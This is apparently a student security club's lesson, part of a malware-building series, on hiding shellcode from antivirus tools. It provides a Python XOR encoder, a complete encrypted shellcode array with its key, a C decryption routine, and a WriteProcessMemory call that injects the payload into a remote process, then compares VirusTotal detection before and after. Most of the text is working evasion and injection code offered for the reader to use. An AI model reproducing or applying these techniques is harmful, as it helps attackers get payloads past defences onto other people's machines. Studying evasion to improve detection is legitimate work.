Skip to content

Obfuscation

DISCLAIMER

Cyber@UC is not responsible for any damages you cause with the information you learn in this lesson. Every AV in the world will detect all this anyway so don't even try it. You will get caught.

How do Antiviruses and EDRs work?

Antiviruses work by analyzing executables using static and dynamic analysis. Static analysis works by not running the executable but looks at the file structure, metadata, and any code to identify malicious patterns. Dynamic analysis works by running the executable in a virtualized environment or isolated sandbox to identify any suspicious behavior

Testing your malware's detection

There are a ton of websites where you can upload a executable to check if it identifies it as malware. A good one is VirusTotal. If you take the malware we created last time you will get a report like this

pre_report

Easily detectable. But we are going to lower that number

Encrypting our payload

Right now our executable is easily detectable because our payload is easily detected by its signature (it's hash) because it's a very common one. We are going to use XOR encryption to hide it in our process memory and decrypt it right before we write it to the remote's process memory. If you don't understand how XOR works look here.

Create a new python file and begin my filling these variables with your own values

# Our unencrypted payload
# Make sure the format is like this
payload = b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" \
          b"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" \
          b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x00"

We need to generate a key we will use for encrypting. Open powershell or command prompt and run the following

python
import os
os.urandom(32)

It will give you ouput looking like this

b'\x00\x17\xc5\xfa\xadF\x08\x0fp-\xf6\x9e\x88C\xcc\xee\x0c9\x8c|\xb8\xba\\\xf2\xe4\xdf\\\x14\x1b\x14"\xdf'
Copy all of that and put it into a variable like so
key = b'\x00\x17\xc5\xfa\xadF\x08\x0fp-\xf6\x9e\x88C\xcc\xee\x0c9\x8c|\xb8\xba\\\xf2\xe4\xdf\\\x14\x1b\x14"\xdf'

The next part might look a bit confusing

i = 0
print("unsigned char payload[] = \"", end="")
for byte in payload:
    encoded_byte = hex(byte ^ key[i%len(key)])[2:]
    # Just just pads the hex so its not just E but 0E
    encoded_byte = encoded_byte.zfill(2)
    print("\\x" + encoded_byte, end="")
    i += 1

print("\";\n")

I loop goes through every byte in the payload. We also have a variable i that we use to index into the current byte of the key we are on. We then bitwise XOR the current payload byte we are on and the current key byte we are on. We do modules in key[i%len(key) because the payload could be longer than are key so once we reach the end of the key we just go back to the beginning. Hope that makes sense, just play around with the code and it will probably make sense.

The next part of the code formats the key into a C variable

print("const unsigned char key[] = {", end="")
for byte in key:
    print(hex(byte), end=", ")
print("0x00};")

After that the enrypting program is done and the output should look like the following

unsigned char payload[] = "\xfc\x5f\x46\x1e\x5d\xae\xc8\x0f\x70\x2d\xb7\xcf\xc9\x13\x9e\xbf\x5a\x71\xbd\xae\xdd\xf2\xd7\xa0\x84\x97\xd7\x46\x03\x5c\xa9\x8d\x20\x5f\x4e\x88\xfd\x0e\x07\xb8\x3a\x67\xbb\xaf\x41\x0b\xfd\x2e\xa0\x05\xed\x00\xba\x96\x7c\xb3\x25\x16\x51\x55\x1a\xd5\xc0\x32\x52\x56\x94\xb2\x26\x14\x28\x84\x32\x11\xbe\x9f\x58\xc8\x4c\x66\x0c\x39\x8c\x34\x3d\x7a\x28\x95\xac\xde\x8c\x44\x90\x5c\x3a\x9b\x8b\x57\xe5\xb3\xac\x96\xeb\x59\x38\xd2\x3f\xdf\x03\x77\x44\xa6\x0d\xef\xc1\x4d\x71\xf2\x6d\x32\x48\x9e\x9d\xdd\x16\x55\x23\x1e\x38\xf7\xb0\x0b\xe1\x45\x44\x2b\x78\x68\xcf\x4f\xfd\x9b\x94\xaa\x87\x79\xa8\x35\xb9\x6a\x3a\xb3\x6f\xd3\x14\x50\x90\x54\x3e\x96\x01\xc7\x84\x71\xa9\xce\x40\x0e\xa0\x6c\xae\xdf\xd0\x1d\x95\xb4\x4d\x61\xcd\x25\xf9\xe0\x14\x71\x08\xff\x1d\x46\xe4\xf4\x7a\x9e\x59\x4d\x8d\x71\xbf\xaf\x5f\xf0\x8f\xd2\xab\xd7\x36\x34\xbf\xdc\x53\x0a\xbe\x7c\xb8\xfb\x0a\xbb\x6d\x39\x14\x95\xf7\xb4\x23\xdf\x00\x5e\x4c\x1f\xe4\xfa\x0a\x0f\x6b\x14\x36\x36\xb0\x26\x8d\xba\x45\xb0\x68\x30\x31\x4b\x1d\x48\xa8\xa8\x7a\x13\xe4\xc1\x6e\x56\xea\x7f\xc4\xfb\xad\x46\x51\x4e\xca\x04\x76\xf5\x88\xbc\x19\xbe\x5c\x74\xbd\xb5\xf5\x8b\x9c\xba\x1b\x1f\x14\x9d\xd9\x5c\xdd\x1f\x48\x9e\x04\xbb\x17\xac\x07\xd0\x90\xd2\x23\xd6\x01\x84\xa6\xfe\x4d\x61\xc0\xf5\x5a\xf2\xd5\x0b\xa5\x65\xc5\xb1\x6f\x75\xdd\x0a\x48\x96\x01\xba\xaf\x46\x08\x46\xc8\x4e\x9b\xfa\x88\x43\xcc\xee\x0c\x78\xdc\x3d\xe8\xf2\xd5\x10\xb3\x88\x0b\x59\x2a\xd4\x48\xd2\x59\x56\x95\x18\x51\x20\xcf\x4b\x54\x79\xf7\x9f\xc0\xce\x88\xca\x14\xff\x8c\x14\xf0\x33\xba\xa4\xb4\x9e\x0c\x55\x4b\x55\x72\x96\xff\xd7\x84\xaa\xe4\xb9\xc0\x42\xf9\xec\xba\x17\x49\x02\x76\x97\xc0\x06\x0a\x83\x6d\xf2\x6d\x20\xac\x20\x96\x9f\x15\x55\x98\xd7\x87\x0a\xa5\x05\x78\xfd\xe8\x12\x5a\x27\xb7\x24\x2e\xd6\x71\x73\xf3\xec\xc4\xff\x7c\x92\x60\xf4\x98\xd5\xdc\xef\xfb\x61\x27\x64\x47\x04\xb7\x95\xc7\x46\x51\x4e\xf9\xf7\x09\x4b\x88";

const unsigned char key[] = {0x0, 0x17, 0xc5, 0xfa, 0xad, 0x46, 0x8, 0xf, 0x70, 0x2d, 0xf6, 0x9e, 0x88, 0x43, 0xcc, 0xee, 0xc, 0x39, 0x8c, 0x7c, 0xb8, 0xba, 0x5c, 0xf2, 0xe4, 0xdf, 0x5c, 0x14, 0x1b, 0x14, 0x22, 0xdf, 0x00};

Now you can copy all of that into your malware program. Make sure all of it is before the main() function

Now we need a function in our C program to decrypt the payload. If you XOR something again with the same key and will just go back to its decrypted form. So we need to just create that same function we made in python in our C program

void XOR(char* buffer, char* key, int sizeOfBuffer, int sizeOfKey) {
    for (int i = 0; i < sizeOfBuffer - 1; i++) {
        int keyIndex = i % (sizeOfKey - 1);
        *(buffer+i) = *(buffer+i) ^ *(key+keyIndex);
    }
}

This code does almost the same thing as the one in the python script. The first parameter is a pointer to the encrypted buffer we want to decrypt. The second parameter is a pointer to the key we are using to decrypt. The third and fourth are the size of the buffer and key.

Now we just need to call this function right before we write this payload to the remote process like so

XOR(payload, key, sizeof(payload), sizeof(key));
WriteProcessMemory(
    hProcess,
    rBuffer,
    payload,
    sizeof(payload),
    NULL
);

Go ahead test your malware and it should work the same (hopefully). Putting this malware into VirusTotal shows that it's less detectable

post_report

That's it for part one. We are going to get that number even lower in the next part! (maybe I'm still learning this stuff)